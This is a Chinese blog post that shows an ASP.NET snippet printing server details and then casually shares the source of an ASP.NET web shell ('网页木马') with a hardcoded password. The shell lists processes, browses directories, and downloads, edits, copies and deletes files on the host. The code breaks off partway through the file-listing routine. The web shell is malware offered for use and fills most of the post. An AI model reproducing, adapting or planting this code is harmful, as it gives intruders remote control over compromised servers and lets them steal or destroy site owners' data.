学步园

得到服务器信息：

<div>
      <font color="red">主机名&amp;IP:</font> <%=Server.MachineName %> - <%=Request.ServerVariables["LOCAL_ADDR"]%>  <br /><br />      
      <font color="red">端口</font>: <%=Request.ServerVariables["SERVER_PORT"] %><br /><br />      
      <font color="red">操作系统:</font> <%=Environment.OSVersion.ToString().Remove(0, 10) %><br /><br />      
      <font color="red">服务器软件:</font> <%=Request.ServerVariables["SERVER_SOFTWARE"] %><br /><br />
      <font color="red">.NET版本:</font> 
      <%
          int build, major, minor, revision;
          build = Environment.Version.Build;
          major = Environment.Version.Major;
          minor = Environment.Version.Minor;
          revision = Environment.Version.Revision;
          Response.Write(major + "." + minor + "." + build + "." + revision);    
      %>
      <br /><br />
      <font color="red">服务器脚本超时:</font><%=Server.ScriptTimeout.ToString() %><br /><br />
      <font color="red">网站路径: </font>
      <%
          System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(Server.MapPath("."));
          Response.Write(dir.FullName.ToString());    
      %>
      <br /><br />
      <font color="red">服务器时间:</font> <%=DateTime.Now%>
      <br /><br />
      <font color="red">进程开始时间:</font> 
      <%
        string temp;
        try
        {
            temp = System.Diagnostics.Process.GetCurrentProcess().StartTime.ToString();
        }
        catch
        {
            temp = "未知";                
        }
        Response.Write(temp);
      %>
    </div>

 

顺便发个ASP.NET网页木马

<%@ Page Language="C#" ContentType="text/html"  validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ Import Namespace="Microsoft.Win32" %>
<%@ Import Namespace="System.Collections" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<%@ Import Namespace="System.Threading" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%
//-------------------------------Code by Char--------------------------------
//-----------------------银河安全网专用ASP.NET木马V1.1    ---------------------
//--------------------------感谢同事DoDo提供技术-----------------------------
//---------------------------银河安全网 荣誉出名-----------------------------
//---------------------不得用于非法,一切后果与本人无关-----------------------
//--------------------------Http://www.yhsafe.com----------------------------
//--------------------------Email:Hackexp#126.com----------------------------
%>

<script runat="server">

     public string PWD ="lhking";  //请在引号内设置你的密码!!!

    string GetParentDir(string subdir)
    {
        string holepath = subdir;
        char[] separator = { '\\' };
        String[] patharray = new String[20];
        patharray = holepath.Split(separator);
        string parentdir="";
        int arraynum=0;
        for (arraynum = 0; arraynum < (patharray.Length-2);arraynum++ )
        {
            if (patharray[arraynum] != null)
            {
                parentdir += patharray[arraynum] + "\\";
            }
        }
        //parentdir += patharray[patharray.Length - 2];
        return parentdir;
    }

    string GetWebName()
    { 
        string holepath = Request.CurrentExecutionFilePath;
        char[] separator = { '/' };
        String[] patharray = new String[20];
        patharray = holepath.Split(separator);
        return patharray[(patharray.Length-1)];
    }

    void listprocess()
    {
        Process[] process = Process.GetProcesses();
        foreach (Process allprocess in process)
        {
            ListBoxPro.Items.Add(allprocess.ProcessName);
        }
        string ProcessNum = ListBoxPro.Items.Count.ToString();
        LbNum.Text = ProcessNum + "个";
    }
    void DownFile(string src)
    {
        string pathfile = src;  //pathfile 要下载的文件名称
        FileInfo file = new FileInfo(pathfile);
        Response.Clear();
        Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(file.Name));
        Response.AddHeader("Content-Length", file.Length.ToString());
        Response.ContentType = "application/octet-stream";
        Response.WriteFile(file.FullName);
        Response.End();
    }
    
    void GetDir(string Url,string file_name)
    {
        Response.Write("<table align =\"center\">");
        Response.Write("<tr>");
        Response.Write("<td>文件名</td>");
        Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
        Response.Write("<td>大小</td>");
        Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
        Response.Write("<td>修改时间</td>");
        Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
        Response.Write("<td>操作</td>");
        Response.Write("</tr>");

        DirectoryInfo dir = new DirectoryInfo(Url);
        if (dir == null)
            return;
        try
        {
            DirectoryInfo[] dirs = dir.GetDirectories();
            Response.Write("<tr>");
            Response.Write("<a href='?page=index&src=" +Server.UrlEncode(GetParentDir(file_name)));
            Response.Write("'><font color='red'>/*回上一层目录*/</a></font>");
            Response.Write("\r\n");
            Response.Write("</tr>");

            foreach (DirectoryInfo file in dirs)
            {
                Response.Write("<tr>");
                Response.Write("<td>");

                Response.Write("<a href='?page=index&src="+Server.UrlEncode(file_name)+Server.UrlEncode(file.Name.ToString())+"\\'>"+file.Name.ToString()+"</a>");
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");
                Response.Write("<目录>");
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");
                string time = File.GetCreationTime(file_name+file.Name.ToString()).ToString();
                Response.Write(time);
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");

                Response.Write("<a href='?action=del&src=");
                Response.Write(Server.UrlEncode(file_name) + "\\" + Server.UrlEncode(file.Name.ToString()));
                Response.Write("'onClick='return del(this);'>Del</a>");
                Response.Write("</td>");
                Response.Write("</tr>");
            }
      
            FileInfo[] files = dir.GetFiles();
            foreach (FileInfo filed in files)
            {
                Response.Write("<tr>");
                Response.Write("<td>");
                Response.Write(filed.Name.ToString());
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");
                string size = file_name + "\\" + filed.Name.ToString();
                FileInfo info = new FileInfo(size);
                Response.Write(info.Length.ToString() + "字节");
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");
                string time = File.GetCreationTime(file_name + "\\" + filed.Name.ToString()).ToString();
                Response.Write(time);
                Response.Write("</td>");
                Response.Write("<td>&nbsp&nbsp&nbsp&nbsp</td>");
                Response.Write("<td>");
                Response.Write("<a href='?action=edit&src=");
                Response.Write(Server.UrlEncode(file_name) + "\\" + Server.UrlEncode(filed.Name.ToString()));
                Response.Write("'>Edit</a>");
                Response.Write("&nbsp&nbsp&nbsp");
                Response.Write("<a href='?action=copy&src=");
                Response.Write(Server.UrlEncode(file_name) + "\\" +Server.UrlEncode(filed.Name.ToString()));
                Response.Write("'>Copy</a>");
                Response.Write("&nbsp&nbsp&nbsp");
                Response.Write("<a href='?action=deldir&src=");
                Response.Write(Server.UrlEncode(file_name) + "\\" + Server.UrlEncode(filed.Name.ToString()));
                Response.Write("'onClick='return del(this);'>Del</a>");
                Response.Write("&nbsp&nbsp&nbsp");
                Response.Write("<a href='?action=down&src=");
                Response.Write(Server.UrlEncode(file_name) + "\\" +Server.UrlEncode(filed.Name.ToString()));
                Response.Write(